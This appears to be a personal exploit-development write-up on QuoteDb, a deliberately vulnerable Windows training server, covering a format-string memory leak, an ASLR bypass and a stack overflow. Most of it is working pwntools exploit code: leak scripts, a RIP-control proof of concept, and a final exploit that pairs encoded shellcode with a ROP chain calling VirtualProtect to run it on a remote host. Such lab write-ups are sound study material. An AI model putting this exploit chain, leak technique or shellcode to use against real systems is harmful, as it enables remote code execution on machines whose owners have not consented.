# Lets learn Reverse Engineering 4! ###### tags: `reverse engineering`, `windows`, `pwn` This will be about QuoteDb, a second challenge. Download link below: https://github.com/bmdyy/quote_db/ ``` bp main+0x1808 #Parsing opcode bp main+0x1852 #Switch statement ``` ## Update_Quote (`main+0x162b`) In Update_Quote, only 0x800 is allocated on the heap. However, it calls `strlen` on our buffer and copies the entire buffer with strlen size. There is some form of heap corruption here. ## ASLR bypass ASLR bypass is usually done with a memory leak. There is a format string vulnerability in this server. ![](https://i.imgur.com/yky1whT.png) In get_quote, there is a _snprintf which takes in our user buffer as the format. By supplying `%p` as our user buffer, we are essentially leaking something from the stack! Do follow along by setting a break point on it, _snprintf is at `main+0x15ae`. ### Before _snprintf ![](https://i.imgur.com/wSYzw9D.png) **Note the things on the stack:** ``` 01a07378 012649e8 01a0737c 00000800 01a07380 003d4a80 main!main+0x12bf7 01a07384 76c37d30 msvcrt!endthread+0x40 01a07388 00000385 01a0738c 003c173b main+0x173b 01a07390 01a0fbf0 01a07394 003c18fb main+0x18fb ``` ### After _snprintf ![](https://i.imgur.com/Fj13rey.png) We have effectively leak everything on the stack. ASLR bypass can be done using **msvcrt!endthread+0x40** to calculate the base address of **msvcrt.dll**. Similarly for the base address ot the **Main PIE**. Also **0x003c18fb** is actually the **return address** for one of the functions (look at the commmand pane in Windbg). We can actually overwrite this by supplying **%n**. I am slightly hesitant about overwriting return address using the format string because it is harder to locate my buffer and do rop. So I am continuing to look around. ## Default Case I like how the RIP control is done in the default request / bad request. This might be something that most people overlook. I looked into this because the rest of the memCpy looks like it only copied 0x800 of my userbuffer. This wont be enough to overwrite the stack pointer. Thus, I went to look else where and ended up at the default case. ![](https://i.imgur.com/N7I5TRg.png) The default case memcpy a size of 0x4000, which I immediately think its possible for a RIP control. ## POCs At this point, we have RIP Control and a memory leak. We essentially have solved the problem :) ### POC (Memory Leak) ``` from pwn import * p = remote("192.168.106.181", 3700) get_quote = 901 add_quote = 902 update_quote = 903 delete_quote = 904 choice = get_quote # add quote print("Choice = add quote") payload = p32(902) #Opcode payload += b'%p_' * 0x100 p.send(payload) p.close() p = remote("192.168.106.181", 3700) print("Choice = get quote") payload = p32(901) #Opcode payload += p32(0xa) #Quote Number p.send(payload) ASLRLeak = p.recvuntil(b'_') ASLRLeak = ASLRLeak[0:-1] print("ASLRLeak = ", ASLRLeak) ASLRLeak = int(ASLRLeak, 16) print("ASLRLeak = ", ASLRLeak) MSVCRTBase = ASLRLeak - 0x00067d30 print("MSVCRTBase = ", hex(MSVCRTBase)) p.interactive() ``` ### POC (RIP Control) ``` from pwn import * p = remote("192.168.106.181", 3700) get_quote = 901 add_quote = 902 update_quote = 903 delete_quote = 904 default_quote = 905 choice = default_quote # get quote if (choice == get_quote): print("Choice = get quote") payload = p32(901) #Opcode payload += p32(0xf) #Quote Number p.send(payload) p.interactive() # add quote elif (choice == add_quote): print("Choice = add quote") payload = p32(902) #Opcode payload += b'%p_' * 0x100 p.send(payload) p.interactive() # Update quote elif (choice == update_quote): print("Choice = update quote") payload = p32(903) payload += p32(0xa) payload += b'\x42' * 0x1000 p.send(payload) p.interactive() # Update quote elif (choice == delete_quote): print("Choice = delete quote") payload = p32(904) payload += p32(0xa) p.send(payload) p.interactive() elif (choice == default_quote): print("Choice = defaut quote") payload = p32(905) payload += b'\x41' * 2060 payload += p32(0xCCCCCCCC) #RIP control payload += b'\xAA' * (5000 - len(payload)) p.send(payload) p.interactive() ``` ## ROP Gadgets to get esp found in the server exe itself: ``` 0x004035bb: add dword [ecx], esp ; ret ; (1 found) 0x00401e69: or eax, esp ; ret ; (1 found) ``` The rest is pretty easy. # Final POC ``` from pwn import * p = remote("192.168.106.181", 3700) get_quote = 901 add_quote = 902 update_quote = 903 delete_quote = 904 default_quote = 905 choice = default_quote # add quote print("Choice = add quote") payload = p32(902) #Opcode payload += b'%p_' * 0x100 p.send(payload) p.close() p = remote("192.168.106.181", 3700) print("Choice = get quote") payload = p32(901) #Opcode payload += p32(0xa) #Quote Number p.send(payload) ASLRLeak = p.recvuntil(b'_') ASLRLeak = ASLRLeak[0:-1] print("ASLRLeak = ", ASLRLeak) ASLRLeak = int(ASLRLeak, 16) print("ASLRLeak = ", ASLRLeak) MSVCRTBase = ASLRLeak - 0x00067d30 print("MSVCRTBase = ", hex(MSVCRTBase)) PIELeak = p.recvuntil(b'_') PIELeak = p.recvuntil(b'_') PIELeak = PIELeak[0:-1] PIEBase = int(PIELeak, 16) - 0x173b print("PIE Base address = ", hex(PIEBase)) ################################################################################ p = remote("192.168.106.181", 3700) buf = b"\x90" buf += b"\x81\xec\x00\x10\x00\x00" #Added a sub esp, 0x1000 buf += b"\xd9\xe5\xbb\x08\xe2\x29\xf1\xd9\x74\x24\xf4\x5d\x29" buf += b"\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x13\x03\x55\xf1\xcb" buf += b"\x04\x99\x1d\x89\xe7\x61\xde\xee\x6e\x84\xef\x2e\x14" buf += b"\xcd\x40\x9f\x5e\x83\x6c\x54\x32\x37\xe6\x18\x9b\x38" buf += b"\x4f\x96\xfd\x77\x50\x8b\x3e\x16\xd2\xd6\x12\xf8\xeb" buf += b"\x18\x67\xf9\x2c\x44\x8a\xab\xe5\x02\x39\x5b\x81\x5f" buf += b"\x82\xd0\xd9\x4e\x82\x05\xa9\x71\xa3\x98\xa1\x2b\x63" buf += b"\x1b\x65\x40\x2a\x03\x6a\x6d\xe4\xb8\x58\x19\xf7\x68" buf += b"\x91\xe2\x54\x55\x1d\x11\xa4\x92\x9a\xca\xd3\xea\xd8" buf += b"\x77\xe4\x29\xa2\xa3\x61\xa9\x04\x27\xd1\x15\xb4\xe4" buf += b"\x84\xde\xba\x41\xc2\xb8\xde\x54\x07\xb3\xdb\xdd\xa6" buf += b"\x13\x6a\xa5\x8c\xb7\x36\x7d\xac\xee\x92\xd0\xd1\xf0" buf += b"\x7c\x8c\x77\x7b\x90\xd9\x05\x26\xfd\x2e\x24\xd8\xfd" buf += b"\x38\x3f\xab\xcf\xe7\xeb\x23\x7c\x6f\x32\xb4\x83\x5a" buf += b"\x82\x2a\x7a\x65\xf3\x63\xb9\x31\xa3\x1b\x68\x3a\x28" buf += b"\xdb\x95\xef\xff\x8b\x39\x40\x40\x7b\xfa\x30\x28\x91" buf += b"\xf5\x6f\x48\x9a\xdf\x07\xe3\x61\x88\xe7\x5c\x03\xe0" buf += b"\x80\x9e\xd3\xf1\xeb\x16\x35\x9b\x1b\x7f\xee\x34\x85" buf += b"\xda\x64\xa4\x4a\xf1\x01\xe6\xc1\xf6\xf6\xa9\x21\x72" buf += b"\xe4\x5e\xc2\xc9\x56\xc8\xdd\xe7\xfe\x96\x4c\x6c\xfe" buf += b"\xd1\x6c\x3b\xa9\xb6\x43\x32\x3f\x2b\xfd\xec\x5d\xb6" buf += b"\x9b\xd7\xe5\x6d\x58\xd9\xe4\xe0\xe4\xfd\xf6\x3c\xe4" buf += b"\xb9\xa2\x90\xb3\x17\x1c\x57\x6a\xd6\xf6\x01\xc1\xb0" buf += b"\x9e\xd4\x29\x03\xd8\xd8\x67\xf5\x04\x68\xde\x40\x3b" buf += b"\x45\xb6\x44\x44\xbb\x26\xaa\x9f\x7f\x56\xe1\xbd\xd6" buf += b"\xff\xac\x54\x6b\x62\x4f\x83\xa8\x9b\xcc\x21\x51\x58" buf += b"\xcc\x40\x54\x24\x4a\xb9\x24\x35\x3f\xbd\x9b\x36\x6a" # get quote if (choice == get_quote): print("Choice = get quote") payload = p32(901) #Opcode payload += p32(0xf) #Quote Number p.send(payload) p.interactive() # add quote elif (choice == add_quote): print("Choice = add quote") payload = p32(902) #Opcode payload += b'%p_' * 0x100 p.send(payload) p.interactive() # Update quote elif (choice == update_quote): print("Choice = update quote") payload = p32(903) payload += p32(0xa) payload += b'\x42' * 0x1000 p.send(payload) p.interactive() # Update quote elif (choice == delete_quote): print("Choice = delete quote") payload = p32(904) payload += p32(0xa) p.send(payload) p.interactive() elif (choice == default_quote): print("Choice = defaut quote") payload = p32(905) payload += b'\x90' * (2060 - len(buf)) payload += buf ### Start of ROP payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(0) payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found) ### Eax has ESP, move to ebx payload += p32(PIEBase+0x1e73) #0x00401e73: mov ebx, eax ; ret ; (1 found) ### Mov Virtual protect address into eax payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(PIEBase+0x4321c) #44321C IAT Of VirtualProtect in PIE payload += p32(PIEBase+0x1e6c) #0x00401e6c: mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret ; (1 found) payload += p32(0xCCCCCCCC) ### Mov virtual protect into stack payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) ### Increase ebx by 4 payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found) ### Finding shellcode address payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(0) payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found) payload += p32(MSVCRTBase + 0x0d312) #0x1010d312: pop ecx ; ret ; (1 found) payload += p32(0x400) payload += p32(MSVCRTBase+0x8acb4) #0x1018acb4: sub eax, ecx ; ret ; (1 found) ### Mov return address into stack payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found) ### Mov VirtualProtect Address to VP into stack payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found) ### Mov VP argument (size) payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(0x1000) payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found) ### Mov VP argument (new Protect) payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(0x40) payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found) ### Mov VP argument (address to store old protect) payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found) payload += p32(0) payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found) payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found) ### Stack should be completed payload += p32(PIEBase + 0x5306) #0x00405306: mov eax, ebx ; pop ebx ; pop esi ; ret ; (1 found) payload += p32(0xCCCCCCCC) payload += p32(0xCCCCCCCC) payload += p32(MSVCRTBase + 0x0d312) #0x1010d312: pop ecx ; ret ; (1 found) payload += p32(0x14) payload += p32(MSVCRTBase+0x8acb4) #0x1018acb4: sub eax, ecx ; ret ; (1 found) payload += p32(PIEBase + 0x344d) #0x0040344d: xchg eax, esp ; ret ; (1 found) print("Remaining length of rop = ", (5000 - len(payload))) payload += b'\x90' * (5000 - len(payload)) p.send(payload) p.interactive() ```